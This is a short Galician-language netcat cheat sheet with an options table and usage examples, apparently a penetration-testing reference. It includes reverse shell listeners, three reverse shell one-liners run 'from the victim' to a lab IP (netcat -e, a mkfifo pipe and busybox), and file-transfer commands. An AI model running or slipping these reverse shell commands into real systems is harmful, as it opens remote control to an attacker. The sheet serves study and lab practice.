nc / netcat - Swiss Army Knife de Rede
Descrición
Ferramenta multiusos para ler e escribir datos a través de conexións de rede.
Sintaxe básica
Opcións principais
| Opción | Descrición |
|---|---|
-l |
Modo listen (escoitar) |
-p <porto> |
Porto local a usar |
-n |
Non facer resolución DNS |
-v |
Modo verbose |
-e <programa> |
Executar programa ao conectar |
-u |
Usar UDP en lugar de TCP |
-z |
Modo scan (sen enviar datos) |
Exemplos de uso
Listener para reverse shell
# Listener básico
nc -nlvp 4444
# Múltiples listeners
nc -nlvp 443 # Terminal 1
nc -nlvp 5555 # Terminal 2
nc -nlvp 7777 # Terminal 3
Reverse shell (desde vítima)
# Bash reverse shell
nc -e /bin/bash 192.168.56.53 4444
# Se -e non está dispoñible
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.56.53 4444 > /tmp/f
# Reverse shell con busybox
busybox nc 192.168.56.53 443 -e /bin/sh
Transfer de ficheiros
# Receptor (listener)
nc -nlvp 4444 > ficheiro_recibido.txt
# Emisor
nc 192.168.56.53 4444 < ficheiro_enviar.txt